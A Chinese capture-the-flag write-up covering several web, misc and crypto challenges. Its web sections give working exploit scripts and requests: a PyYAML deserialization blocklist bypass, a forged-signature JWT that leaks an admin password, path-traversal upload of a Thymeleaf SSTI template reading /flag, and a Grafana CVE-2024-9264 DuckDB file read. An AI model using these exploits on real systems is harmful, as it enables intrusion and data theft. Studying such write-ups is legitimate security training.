来水一篇喵
喵喵宠物医院
类型:Web
得分:548
时间:06/06 16:58:06
这题拿到以后先看题面给的几个关键词:YAML、PyYAML、有意思的 tag。方向其实很直接,就是去找服务端哪里会把用户输入当 YAML 解析,再想办法把这条解析链拐成 Python 对象调用。先把接口摸一遍,真正有利用价值的是两个点:
/api/records 的 history
/api/terminal 的 command
这两个字段都会吃 YAML,但后续处理方式不一样。/api/records 更像是把内容吞进去做病历存档,/api/terminal 则会把解析后的结果继续拿去做“终端配置”绑定。也就是说,就算两边都能进 YAML,真正更适合拿来出数据的还是 /api/terminal。
起手先用最标准的 PyYAML 探针确认一下是不是裸的反序列化:
1 2 !!python/object/apply:os.popen - cat /flag
结果直接 403,这一步很重要,因为它说明前面不是单纯的 yaml.load,而是还有一层基于原始文本的过滤。继续把常见危险字串轮一遍,很快能摸出它拦的主要是下面这些:
1 2 3 4 5 6 7 8 !!python os.popen os.system subprocess builtins.eval builtins.exec open /flag
既然它先查的是文本,就没必要继续和 !!python 正面对撞了。这里最顺手的绕法就是 YAML 自己的 %TAG。把 tag:yaml.org,2002:python/ 起个别名,原本会被拦的 !!python 就能换写成 !p!:
1 2 3 4 %TAG !p ! tag:yaml.org,2002:python/ --- !p!object/apply:os.popen - cat /flag
这样改完以后,第一层字符串黑名单就已经能绕过去了。但包发到 /api/terminal 还是会被打回来,报的是“核心组件通信阻断”这一类错误。这个回包本身就把服务端逻辑暴露得差不多了:它不只是检查原始 YAML 文本,还会在 YAML 真解析完之后,再检查最终要调用的对象是不是危险目标。
也就是说,这题实际是两层拦截:
先查原始字符串里有没有黑名单关键字;
再查解析后的调用目标是不是 os.popen、os.system、subprocess、eval、exec 这种高危对象。
到这里思路就得改,不再强打命令执行,而是退一步改成“找一个足够干净的文件读取函数,再把读取结果稳稳带回响应”。中间其实还试过一条静态文件落地的路子:直接让 payload 调 subprocess.getoutput,把结果写到 /app/static/codex_flag.txt、./static/codex_flag.txt、../static/codex_flag.txt 这种位置,再去轮询 /static/codex_flag.txt 捞结果。三个端口 10001、10002、10003 都扫了一遍,结论很明确:
/api/records 虽然能吃 payload,但后续 GET 拿不到解析结果;
静态文件落地这条线没有形成稳定回显;
/api/terminal 对 subprocess.getoutput 这类目标还是会继续拦。
所以 /api/records 不是完全没用,而是“有入口,但没有好用的数据外带”;最后真正能稳定回显的,还是 /api/terminal。
接下来只剩两个问题:
选什么函数去读文件,才能避开第二层危险目标检查;
怎么避免 /flag 这个字面量本身触发第一层过滤。
最后定下来的组合很顺:
linecache.getline(filename, lineno):按行读文件,不属于那批高危执行函数;
posixpath.join(a, b):把 / 和 flag 在运行时拼成 /flag。
这样一来,第二层看不到命令执行目标,第一层也看不到完整的 /flag 字符串。真正决定成败的最后一个细节是回显字段名。这里不是随便塞个键都能把结果带回来,像 pet_name 这种字段拿去测,要么超时,要么值不落回响应;改成 name 之后,解析结果会稳定绑定进返回包,这才是这题真正的数据外带位。
最后打通的 payload 是:
1 2 3 4 5 %TAG !p ! tag:yaml.org,2002:python/ --- name: !p!object/apply:linecache.getline - !p!object/apply:posixpath.join [/ , flag ] - 1
这里每一段的作用都很清楚:
%TAG !p!:把 !!python 换名,绕过第一层字符串拦截;
linecache.getline:避开第二层危险目标检查,同时完成文件读取;
posixpath.join [/, flag]:动态拼接出 /flag;
1:读取第一行;
name::把读到的结果绑定进响应对象。
实际请求直接这样发:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsTAG = "%TAG !p! tag:yaml.org,2002:python/\n---\n" PAYLOAD = TAG + """name: !p!object/apply:linecache.getline - !p!object/apply:posixpath.join [/, flag] - 1""" r = requests.post( "http://175.27.251.122:10003/api/terminal" , json={"command" : PAYLOAD}, headers={"Connection" : "close" }, timeout=(8 , 25 ), ) print (r.text)
真正送出去的请求体就是:
1 2 3 { "command" : "%TAG !p! tag:yaml.org,2002:python/\n---\nname: !p!object/apply:linecache.getline\n - !p!object/apply:posixpath.join [/, flag]\n - 1" }
这个包打通以后,服务端会把读取结果直接拼进成功响应的 response 字段,返回里能直接看到 flag:
1 { "response" : "系统底座已成功处理配置文件数据已绑定至:flag{huang_he_liu_yu_@@@@@}" , "status" : "success" }
看到这个回包,整条利用链就算完全闭环了:
command 确实会进入 PyYAML 解析;
%TAG 成功绕过第一层字符串黑名单;
第二层拦的是危险调用目标,不是所有 Python tag;
linecache.getline 成功读到了 /flag 的第一行;
name 把结果稳定带回了响应体。
Flag:
1 flag{huang_he_liu_yu_@@@@@}
Upper Tower
类型:Misc
得分:653
时间:06/06 16:29:01
这题如果一上来就把 1.png、2.jpg 扔进各种隐写工具里盲扫,其实效率很低。真正有用的信息不在图片表面,而在题名和描述本身。起手先把题面拆开看,最显眼的就是两组词:
1 2 Upper / Tower Silent / 寂静
这两组词不是气氛描述,而是在指路。
第一组里,Tower 最自然联想到的不是普通 tower,而是隐写里经常被当作提示词使用的 Tupper。第二组里的 Silent 则几乎是把工具名 SilentEye 直接明示出来了。题目到这里其实已经把两件事交代清楚了:
工具用 SilentEye
口令从 Tupper 这条线索上去找
确认这一点之后,再回头看附件就很顺了。附件里有两张图:
真正需要处理的是 2.jpg。这一步不是说 1.png 完全没用,而是就最终利用链来说,能直接出结果的是 2.jpg + SilentEye 这一组。
接下来就不再盲猜,而是按题面提示往下走:
由 Tower -> Tupper 联想到 Tupper 自指公式;
顺着这条提示拿到口令 4thHHLY;
打开 SilentEye,把 2.jpg 拖进去;
切到 Decode 模式;
输入口令 4thHHLY 开始提取。
实际操作就是下面这几步:
1 2 3 4 5 1. 打开 SilentEye 2. 拖入 2.jpg 3. 选择 Decode 4. 输入密码 4thHHLY 5. 点击提取
题面提示和实际操作之间的映射关系可以直接写成:
1 2 高塔 Tower -> Tupper 寂静 Silent -> SilentEye
做到这一步,这题就已经结束了。它不是那种“爆工具列表 + 跑一堆字典”的隐写题,而是题面先把工具和密码线索都给出来,附件只是最后的验证环节。只要 SilentEye 选对、口令 4thHHLY 输对,隐藏内容就会被直接提出来。
最后得到的 flag 语义也和题名完全对上:既回扣了 upper,也回扣了 Tupper 这条真正的解题入口。
Flag:
1 sdpcsec{get_to_the_upper_and_to_the_Tupper}
Ledger Fog
类型:Crypto
得分:453
时间:06/06 14:51:20
这题起手不是碰密码学,而是先把坏掉的容器拆开。ledger.broken 明说中央目录坏了,但 ZIP 的 local file header 还在,所以我没有去修目录结构,而是直接扫文件里的 PK\x03\x04,按 header 自己抠压缩流。
第一步先把 page 扒出来。每个 page 都能从 local file header 里拿到 csize / usize / 文件名长度 / extra 长度,然后用 raw deflate 解压。恢复出来一共 3 个 page:
1 2 3 pages/page_000.dat compressed=152093 uncompressed=155648 rows=8192 pages/page_001.dat compressed=152132 uncompressed=155648 rows=8192 pages/page_002.dat compressed=75874 uncompressed=77824 rows=4096
合起来正好 20480 条记录。每条记录长度固定 19 字节,结构是:
1 2 3 uint16 row_id uint8[16] mask uint8 noisy_bit
实际拆包时直接用下面这段代码扫 page 和切记录,核心就是找 PK\x03\x04,再按 19 字节步长读:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import pathlibimport structimport zlibdata = pathlib.Path("ledger.broken" ).read_bytes() rows = [] off = 0 while True : pos = data.find(b"PK\x03\x04" , off) if pos < 0 : break _, _, _, _, _, _, _, csize, usize, nlen, elen = struct.unpack_from( "<IHHHHHIIIHH" , data, pos ) start = pos + 30 + nlen + elen page = zlib.decompress(data[start:start + csize], -15 ) for i in range (0 , len (page), 19 ): bit = page[i + 18 ] if bit in (0 , 1 ): mask = int .from_bytes(page[i + 2 :i + 18 ], "little" ) & ((1 << 124 ) - 1 ) rows.append((mask, bit)) off = pos + 1
把记录抠出来以后,题目就变成了标准带噪 GF(2) 线性系统:
1 noisy_bit = parity(mask & key) xor noise
也就是 LPN。这里最关键的判断点有两个:
mask 实际只有低 124 bit 在参与,最高 4 bit 恒为 0;
所以真正未知的是 124 bit key,不是完整 128 bit 暴力。
解的时候我走的是信息集解码。流程是:
随机挑 124 条记录做基;
在 GF(2) 上消元,先得到一个候选 base_key;
假设基里有少量噪声,就把真 key 视作 base_key xor 若干列修正;
只枚举基内噪声重量 0/1/2 的情况;
先用一小批验证行筛掉随机候选,再用全量 20480 条记录打分。
真正落成脚本时,我没有直接把 124 bit 放进 Python 大整数里慢慢消,而是先把每条 mask 拆成两段:
对应的加载函数就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 N = 124 LOW64_INT = (1 << 64 ) - 1 def load_arrays (path="src/ledger.broken" ): data = pathlib.Path(path).read_bytes() los, his, rhs = [], [], [] off = 0 while True : pos = data.find(b"PK\\x03\\x04" , off) if pos < 0 : break _, _, _, comp, _, _, _, csize, usize, nlen, elen = struct.unpack_from( "<IHHHHHIIIHH" , data, pos ) start = pos + 30 + nlen + elen blob = data[start : start + csize] page = zlib.decompress(blob, -15 ) if comp == 8 else blob assert len (page) == usize and len (page) % 19 == 0 for i in range (0 , len (page), 19 ): bit = page[i + 18 ] if bit in (0 , 1 ): mask = int .from_bytes(page[i + 2 : i + 18 ], "little" ) & ((1 << N) - 1 ) los.append(mask & LOW64_INT) his.append(mask >> 64 ) rhs.append(bit) off = pos + 1 return ( np.array(los, dtype=np.uint64), np.array(his, dtype=np.uint64), np.array(rhs, dtype=np.uint8), )
后面所有评分和验证都围绕这三个数组走:los / his / rhs。这样好处很直接,parity(mask & key) 可以完全落在 uint64 运算里,后面再用 numba 把热点循环压下去。
脚本里真正用来跑分的基本原语只有几组:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @njit def parity_u64 (x ): x ^= x >> np.uint64(32 ) x ^= x >> np.uint64(16 ) x ^= x >> np.uint64(8 ) x ^= x >> np.uint64(4 ) return (np.uint64(0x6996 ) >> (x & np.uint64(0xF ))) & np.uint64(1 ) @njit def parity_dot (lo, hi, klo, khi ): return parity_u64((lo & klo) ^ (hi & khi)) @njit def score_all (los, his, rhs, klo, khi ): err = 0 for idx in range (los.shape[0 ]): pred = parity_dot(los[idx], his[idx], klo, khi) err += int (pred ^ np.uint64(rhs[idx])) return err
也就是说,整个候选筛选过程最后都收束到一件事:某个 (klo, khi) 在全量 20480 条记录上会错多少次。
筛分时看的是总错误数。真命中候选的错误率会明显低于随机值;随机候选会落在一半附近,真解这次跑出来是:
这一下就能和随机错误率 ~10240 / 20480 拉开差距。最后还差最高 4 bit,这里不用猜,直接拿题目给的 sanity hash 补齐。命中的 key 必须满足:
1 sha256(b"ledger-fog-check:" + key).hexdigest()[:4] == "8f42"
为了不把全量评分浪费在明显随机的候选上,脚本中间还插了一层非常小的验证集。实际就是固定抽 128 条行先做预筛:
1 2 3 val_idx = np.random.default_rng(0x20260606 ).choice( los.shape[0 ], size=128 , replace=False ).astype(np.int64)
每轮信息集解码不是只出一个 base_key,而是会同时枚举:
权重 0:不修正
权重 1:翻一列
权重 2:翻两列
本地 solve.py 里这一步由 prange_w2_batch() 一次做完。它每轮会:
随机抽基;
做 GF(2) 消元;
反推出 inverse columns;
在验证集上筛掉大多数候选;
只有验证错误数足够低的候选才去跑 score_all()。
跑批入口就是:
1 2 3 4 5 6 7 8 9 10 11 12 seed = np.uint64(0x9E3779B97F4A7C15 ) while True : seed, rank_ok, val_pass, best_val, best_full, blo, bhi = prange_w2_batch( los, his, rhs, val_idx, seed, 1000 , 32 ) if best_full < 8000 : key = high_nibble(blo, bhi) if key is not None : print (f"key = {key.to_bytes(16 , 'little' ).hex ()} " ) print (f"score = {best_full} " ) print (flag_from_key(key)) return
这里几个数字都是实打实调过的:
每批 1000 轮
验证集阈值 32
全量错误数先卡到 < 8000
一旦某个候选真的能把全量错误数压到这个量级,后面的 high_nibble() 基本就是最后补完那 4 bit:
1 2 3 4 5 6 7 8 def high_nibble (klo, khi ): key_low = int (klo) | (int (khi) << 64 ) for hi in range (16 ): key = key_low | (hi << N) kb = key.to_bytes(16 , "little" ) if hashlib.sha256(b"ledger-fog-check:" + kb).hexdigest()[:4 ] == "8f42" : return key return None
这一步也把一个容易写错的细节钉死了:题目里的 key_bytes 是按 little-endian 去做 hash 的,所以补高 4 bit 时不能只拼十六进制字符串,必须先回到整数,再 to_bytes(16, "little")。
跑出来的 key bytes 是:
1 93357a0326c0959b74326fc87454ccb6
对应的 sanity hash 为:
1 8f4203597f8602825800006ecf5f7581815f81e4a6f1d580ef431768d0a3acc4
确认 key 没走偏以后,再按题目要求出 flag:
1 2 3 4 from hashlib import sha256key = bytes .fromhex("93357a0326c0959b74326fc87454ccb6" ) print (sha256(b"ledger-fog:" + key).hexdigest()[:32 ])
输出正好是:
1 e0237ecf9df86738a2b50ad66174efed
Flag:
1 flag{e0237ecf9df86738a2b50ad66174efed}
encrypt
类型:Misc
得分:290
时间:06/06 14:08:50
附件给的是 Encrypt.exe 和 3.png。起手不去猜图片内容,而是先确认 Encrypt.exe 到底是什么。最直接的做法是先扫一遍文件里的特征字符串:
1 2 3 4 5 6 7 python - <<'PY' from pathlib import Path b = Path("Encrypt.exe" ).read_bytes() for magic in [b "PYZ\x00" , b "MEI\x0c\x0b\x0a\x0b\x0e" , b "PyInstaller" , b "python" ]: print(magic, b.find(magic)) PY
能直接看到 PYZ、MEI、PyInstaller、python313.dll 这些典型痕迹,所以这不是原生 C/C++ 小程序,而是 PyInstaller 打包出来的 Python 3.13 程序。
确认这一点之后,方向就不再是“猜图片里藏了什么”,而是“把打包程序拆开,看它对图做了什么”。继续解 PyInstaller archive,会看到入口脚本是:
1 encrypt_image(input_path, output_path, rounds, None )
再往里跟,真正有用的模块只有两个:
encrypt.py 负责逐通道处理图像,srpm_utils.py 里是置换逻辑。拆开后可以确认它不是传统密码学加密,而是把 RGB 三个通道分别展平,然后做 3 轮可逆 swap 置换。
核心置换函数就是:
1 2 3 4 5 6 def swap_target (index, length, round_index, channel_index ): return ( index * index + (2 * round_index + 3 ) * index + 7 * (channel_index + 1 ) ) % length
加密时对展平后的单通道数组从前往后交换:
1 2 3 for index in range (values.size): target = swap_target(index, values.size, round_index, channel_index) values[index], values[target] = values[target], values[index]
所以逆过来的时候,两个顺序都要反:
每一轮从最后一轮倒着撤;
每轮内部从最后一个 index 倒着 swap 回去。
这里最容易写错的就是这两个倒序条件,只反一个顺序都会得到一张“看起来像解出了一点、但整体还是乱”的假结果。真正的逆过程要把三通道逐个单独撤回,完整脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import argparseimport numpy as npfrom PIL import Imagedef swap_target (index: int , length: int , round_index: int , channel_index: int ) -> int : return ( index * index + (2 * round_index + 3 ) * index + 7 * (channel_index + 1 ) ) % length def undo_quadratic_swaps (values: np.ndarray, round_index: int , channel_index: int ) -> np.ndarray: restored = values.copy() length = restored.size for index in range (length - 1 , -1 , -1 ): target = swap_target(index, length, round_index, channel_index) restored[index], restored[target] = restored[target], restored[index] return restored def decrypt_channel (channel_array: np.ndarray, rounds: int , channel_index: int ) -> np.ndarray: current = channel_array.reshape(-1 ).astype(np.uint8).copy() for round_index in range (rounds - 1 , -1 , -1 ): current = undo_quadratic_swaps(current, round_index, channel_index) return current.reshape(channel_array.shape) def decrypt_image (input_path: str , output_path: str , rounds: int ) -> None : encrypted = np.array(Image.open (input_path).convert("RGB" )) channels = [] for channel_index in range (3 ): channels.append(decrypt_channel(encrypted[:, :, channel_index], rounds, channel_index)) restored = np.stack(channels, axis=2 ).astype(np.uint8) Image.fromarray(restored, "RGB" ).save(output_path) if __name__ == "__main__" : parser = argparse.ArgumentParser() parser.add_argument("input" , nargs="?" , default="3.png" ) parser.add_argument("output" , nargs="?" , default="3_decrypted.png" ) parser.add_argument("--rounds" , type =int , default=3 ) args = parser.parse_args() decrypt_image(args.input , args.output, args.rounds)
直接运行:
1 python solve_srpm.py 3 .png 3 _decrypted.png --rounds 3
脚本跑完以后,3_decrypted.png 会从完全乱图变成一张正常场景照。这里的确认点非常硬,不存在“差一点”的中间态:顺序全对,画面就会直接恢复;顺序错一点,整张图还是乱的。
恢复出来的画面是海边台阶、松树、观景平台和安全提示牌,地点线索已经很明显,指向威海海边场景。所以这题最后不是再做二次解密,而是从恢复图像的地点信息直接落到答案。
最后的结果验证也很直接:只要输出图能稳定恢复为威海场景,这一题就已经结束。
Flag:
川味小厨
类型:Web
得分:839
时间:06/06 13:53:14
这题打点的时候,入口不是先去猜后台,而是先把鉴权和上传两个接口一起看。 真正能串起来的链有两段:第一段是伪造管理员身份拿到密码和会话,第二段是借上传功能把恶意模板写进 templates/orders.html,再访问订单页触发 Thymeleaf SSTI 读 /flag。
起手先盯 api/user/profile。这个接口只要能混成管理员身份,就会把管理员资料直接吐出来,里面连密码都在,所以第一步不是爆破,不是注册,也不是先找后台入口,而是先伪造 JWT。
JWT 头和体直接自己构:
1 2 { "alg" : "ES256" , "typ" : "JWT" } { "phone" : "admin" , "role" : "admin" , "sid" : "exp" }
实际发的时候为了绕一下关键词,role 字段改写成:
1 { "phone" : "admin" , "rol\u0065" : "admin" , "sid" : "exp" }
这里有三个关键点:
phone 直接指定成 admin;
role 用 rol\u0065 写法送进去,服务端解析后还是 role;
签名段不需要真签,只要按当时能过校验的固定尾巴拼上去即可。
header、body 分别做 URL-safe Base64 后,实际得到的是:
1 2 header = eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9 body = eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ
这里我没有直接拿在线工具拼 JWT,而是自己写了一个最短编码函数,确保输出的就是去掉 = 填充的 URL-safe Base64:
1 2 3 4 5 6 import base64def encode (data ): if isinstance (data, str ): data = data.encode() return base64.urlsafe_b64encode(data).decode().rstrip("=" )
把头和体送进去以后,实际组装过程就是:
1 2 3 4 5 head = '{"alg":"ES256","typ":"JWT"}' body = '{"phone":"admin","rol\\u0065":"admin","sid":"exp"}' h_enc = encode(head) b_enc = encode(body) token = f"{h_enc} .{b_enc} .MAYCAQACAQA"
最后拼出的伪造 token 就是:
1 eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ.MAYCAQACAQA
然后直接带 Authorization 去打资料接口:
1 2 GET /api/user/profile Authorization: Bearer <forged_token>
按 HTTP 视角把第一跳写完整,就是:
1 2 3 GET /api/user/profile HTTP/1.1 Host : 175.27.251.122:10006Authorization : Bearer eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ.MAYCAQACAQA
这一跳如果方向对了,返回 JSON 的 data.password 里就会直接出现管理员密码。这里没有任何花活,就是“伪造身份 -> 进 profile -> 读密码”。这一步一旦成功,说明前面的判断全都坐实了:
服务端会信任 JWT 里声明出来的 phone=admin;
rol\u0065 会在解析时还原成 role;
第三段固定尾巴 MAYCAQACAQA 足够让校验逻辑放行。
密码到手以后,立刻正常登录,把后台会话换成服务端认可的那套:
1 2 POST /api/auth/login {"phone":"admin","password":"<leaked_password>"}
实际脚本里这一步就是:
1 2 3 4 5 6 7 login_res = req.post( f"{host} api/auth/login" , json={"phone" : "admin" , "password" : pwd}, ) login_data = login_res.json() sid = login_data["data" ]["sid" ] tk = login_data["data" ]["token" ]
返回包里会给两样关键数据:
这一跳如果写成原始请求,大致就是:
1 2 3 4 5 POST /api/auth/login HTTP/1.1 Host : 175.27.251.122:10006Content-Type : application/json{ "phone" : "admin" , "password" : "<leaked_password>" }
这两个值要塞进 Cookie。后面真正访问后台接口时,用的是这组会话态,不是第一步伪造 JWT 的 Authorization 头。也就是说整条链分成两段:
伪造 JWT 只负责泄露管理员密码;
正常登录拿到的 sid/token 才负责后面的后台操作。
这里专门分成两步很重要。因为第一段 JWT 只是“拿信息”,后面的上传接口和后台页面访问都更依赖站点自己的会话体系;直接拿伪造 JWT 硬打后台,不如先把管理员密码变成一套真正的登录态,后面每一步都更稳。
接下来真正的利用点在上传接口。 上传点本身有目录穿越,文件名不是老老实实传菜品图,而是直接写成:
1 ../templates/orders.html
这样文件会落到模板目录,直接覆盖订单页模板。这里选 orders.html 很直接,因为后台本身就有:
模板一旦被覆盖,只要访问订单页,就会触发服务端模板渲染。
塞进去的内容是最短一段 Thymeleaf SSTI,只做一件事:读 /flag 第一行。
1 2 3 4 5 6 <!DOCTYPE html > <html xmlns:th ="http://www.thymeleaf.org" > <body > <div th:text ="${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}" > </div > </body > </html >
这里有个很容易踩的坑:上传时发进去的必须是原始 HTML 模板,而不是带 <、> 的转义文本。 如果传的是转义后的字符串,服务端虽然会把文件写到 orders.html,但 Thymeleaf 实际看到的只是普通文本,不会把 th:text 当模板指令执行,这样访问 /admin/orders 时页面里只会出现字面量,不会真的去读 /flag。
这一点最好直接对照着看:
错误写法:
1 2 3 4 5 6 payload = """<!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <body> <div th:text="${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}"></div> </body> </html>"""
正确写法:
1 2 3 4 5 6 payload = """<!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <body> <div th:text="${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}"></div> </body> </html>"""
前一种只会把转义文本原样写进模板文件,后一种才会在访问 /admin/orders 时真正进入 Thymeleaf 渲染。
上传接口本体是:
这个接口除了文件,还要求带业务字段,所以表单里顺手补一组能过校验的值:
1 2 3 name=Hacked price=0 category=炒菜类
真正关键的是 multipart 里的文件段:
1 file = ("../templates/orders.html", payload, "text/html")
如果按 HTTP 视角看,这一步的关键就三项:
1 2 3 POST /admin/api/upload Cookie: sid=<sid>; token=<token> multipart/form-data
其中业务字段只是为了过表单校验,真正起决定作用的是上传文件名带出来的目录穿越:
1 2 Content-Disposition: form-data; name="file"; filename="../templates/orders.html" Content-Type: text/html
也就是:
文件名:../templates/orders.html
内容:恶意 Thymeleaf 模板
MIME:text/html
脚本里这一步和前面的 Cookie 会话是绑死的,关键几行就是:
1 2 3 4 5 6 7 req.cookies.set ("sid" , sid) req.cookies.set ("token" , tk) file_data = {"file" : ("../templates/orders.html" , payload, "text/html" )} form = {"name" : "Hacked" , "price" : "0" , "category" : "炒菜类" } upload = req.post(f"{host} admin/api/upload" , files=file_data, data=form) print (f"[+] upload: {upload.text} " )
这里我专门把 sid/token 塞进 requests.Session() 的 cookie jar,而不是自己手搓 Cookie: 头。这样后面访问 /admin/orders 时会自动沿用同一套后台登录态,链路最稳定。
模板写进去以后,等一小会再访问:
页面渲染时会执行:
1 ${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}
这样 /flag 第一行就会被直接写进 HTML。
这里的确认方式也很直接。上传接口返回成功只能证明“文件被收到了”,还不能证明模板真的被覆盖;只有在访问 /admin/orders 时,页面内容里不再是原始订单模板,而是开始出现 flag{...} 相关内容,才说明路径穿越和服务端模板渲染是一起打通的。
这里还有最后一个坑:订单页里本来就可能混着一条假 flag,所以提取阶段不能“见到第一个 flag{...} 就收工”,而是要把整页所有命中的 flag{...} 都抓出来,再把固定干扰项排掉,只留下新的那条真值。
固定干扰值就是:
1 flag{1f9b26bbbfa0f3e0e06ffb73ed37d130}
所以最后那一步必须写成:
re.findall(r"flag\{[^}]+\}", page.text) 全量提取;
set(flags) - {"flag{1f9b26bbbfa0f3e0e06ffb73ed37d130}"} 过滤假值;
输出剩下的真 flag。
脚本里最后这段逻辑看起来很短,但其实正好对应了这题最后一个判断点:
1 2 3 4 5 6 7 8 9 page = req.get(f"{host} admin/orders" ) flags = re.findall(r"flag\\{[^}]+\\}" , page.text) real_flag = set (flags) - {"flag{1f9b26bbbfa0f3e0e06ffb73ed37d130}" } if real_flag: for f in real_flag: print (f"[+] flag: {f} " ) else : print ("[-] flag not found" )
如果这里打印不出新值,基本只会有几种情况:
JWT 没混进管理员,第一步拿到的根本不是正确密码;
登录态没切到 sid/token,上传接口其实没用管理员会话在跑;
../templates/orders.html 没真正覆盖到模板目录;
页面里只出现了固定那条假 flag,说明读文件链没有完整打通。
手工确认完链路以后,最后整理成了一把梭脚本,顺序就是:伪造 JWT 泄露密码 -> 正常登录拿 sid/token -> 上传覆盖模板 -> 访问订单页触发 SSTI -> 过滤假 flag。下面这份脚本基本就是当时直接跑的版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import requestsimport base64import jsonimport timeimport rehost = "http://175.27.251.122:10006/" def encode (data ): if isinstance (data, str ): data = data.encode() return base64.urlsafe_b64encode(data).decode().rstrip("=" ) def run (): req = requests.Session() head = '{"alg":"ES256","typ":"JWT"}' body = '{"phone":"admin","rol\\u0065":"admin","sid":"exp"}' h_enc = encode(head) b_enc = encode(body) token = f"{h_enc} .{b_enc} .MAYCAQACAQA" res = req.get( f"{host} api/user/profile" , headers={"Authorization" : f"Bearer {token} " }, ) pwd = res.json()["data" ]["password" ] print (f"[+] leaked password: {pwd} " ) login_res = req.post( f"{host} api/auth/login" , json={"phone" : "admin" , "password" : pwd}, ) login_data = login_res.json() sid = login_data["data" ]["sid" ] tk = login_data["data" ]["token" ] print (f"[+] sid: {sid} " ) req.cookies.set ("sid" , sid) req.cookies.set ("token" , tk) payload = """<!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <body> <div th:text="${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}"></div> </body> </html>""" file_data = {"file" : ("../templates/orders.html" , payload, "text/html" )} form = {"name" : "Hacked" , "price" : "0" , "category" : "炒菜类" } upload = req.post(f"{host} admin/api/upload" , files=file_data, data=form) print (f"[+] upload: {upload.text} " ) time.sleep(1 ) page = req.get(f"{host} admin/orders" ) flags = re.findall(r"flag\{[^}]+\}" , page.text) real_flag = set (flags) - {"flag{1f9b26bbbfa0f3e0e06ffb73ed37d130}" } if real_flag: for f in real_flag: print (f"[+] flag: {f} " ) else : print ("[-] flag not found" ) if __name__ == "__main__" : run()
如果只看这份脚本,有几个点一定要盯死,不然很容易以为只是“普通后台上传题”:
rol\\u0065:确保发出去的是 Unicode 转义形式;
MAYCAQACAQA:固定拼到 JWT 第三段;
Authorization: Bearer <token>:只在泄露密码那一步使用;
req.cookies.set("sid", sid) 和 req.cookies.set("token", tk):后续后台操作改走服务端会话;
("../templates/orders.html", payload, "text/html"):目录穿越 + 模板覆盖同时完成;
set(flags) - {fake_flag}:把订单页里的固定假值剔掉。
如果手工梳理整个利用过程,顺序就是下面这五步,没有哪一步能省:
自构 JWT:{"phone":"admin","rol\u0065":"admin","sid":"exp"},第三段固定拼 MAYCAQACAQA;
带 Authorization: Bearer <token> 请求 /api/user/profile,拿到管理员密码;
用泄露密码正常登录 /api/auth/login,取回 sid 和 token,改走 Cookie 会话;
向 /admin/api/upload 上传 ../templates/orders.html,内容是读 /flag 的 Thymeleaf 模板;
访问 /admin/orders,提取页面里所有 flag{...},剔除固定假值,剩下的就是真 flag。
最后页面里出现新的 flag{...},并且不是那条固定干扰串,就说明链条已经完整跑通:管理员资料泄露成功、后台登录成功、上传路径穿越成功、模板渲染成功、SSTI 读文件成功。
Flag:
real_Grafana
类型:Web
得分:471
时间:06/06 13:29:59
这题起手先看页面而不是急着打接口。打开目标以后,界面明显在仿 Grafana 11 的 Explore / SQL Expressions 组件,能看到几样关键东西:
登录入口:/api/login
当前模块:Explore / SQL Expressions
数据源:grafana-sql
页面里还能看到 /api/run-expression、/api/me、/api/logout
看到 Grafana 11 和 SQL Expressions 这两个关键词放在一起,第一反应就该往 CVE-2024-9264 上靠。这个洞的关键不在普通面板查询,而在 Grafana 11 引入的实验性 SQL Expressions 会把用户输入直接交给 DuckDB 执行,一旦没有过滤,能做的事就不止查数据了,而是能直接读本地文件,甚至执行系统命令。
正式打之前先把登录态拿下来。这里没有复杂认证,直接对 /api/login 试一轮常见弱口令,最后命中的是:
直接发包就是:
1 2 3 curl -X POST http://175.27.251.122:10025/api/login ^ -H "Content-Type: application/json" ^ -d "{\"username\":\"editor\",\"password\":\"editor123\"}"
返回里能看到:
1 { "ok" : true , "role" : "editor" }
这一步有两个确认点:
这套口令确实能拿到可用会话;
当前角色虽然只是 editor,但已经足够进 SQL Expressions 这条链。
接下来就别被页面上的假接口带偏。页面里那个 /api/run-expression 看起来很像入口,但实际怎么喂都只回:
1 duckdb parser error: invalid query
这条路不用再浪费时间。真正要走的是 Grafana 标准查询接口:
1 POST /api/ds/query?ds_type=expr&expression=true&requestId=Q100
请求体结构也不是随便拼字符串,而是要按表达式查询那套格式发:
1 2 3 4 5 6 7 8 9 10 11 12 { "queries" : [ { "refId" : "B" , "datasource" : { "type" : "expr" , "uid" : "expr" , "name" : "Expression" } , "type" : "sql" , "hide" : false , "expression" : "<DuckDB SQL>" , "window" : "" } ] , "from" : "<ms时间戳>" , "to" : "<ms时间戳>" }
洞本身的利用动作很短。既然底层是 DuckDB,就先用文件读取函数做验证。最稳的是先读一把 /etc/passwd,确认 SQL 确实不是“看起来能执行、实际上被中间层吃掉”,而是真的落到了 DuckDB 文件函数上。确认这一步通了以后,再直接把目标切到 /flag:
1 SELECT content FROM read_blob('/flag' )
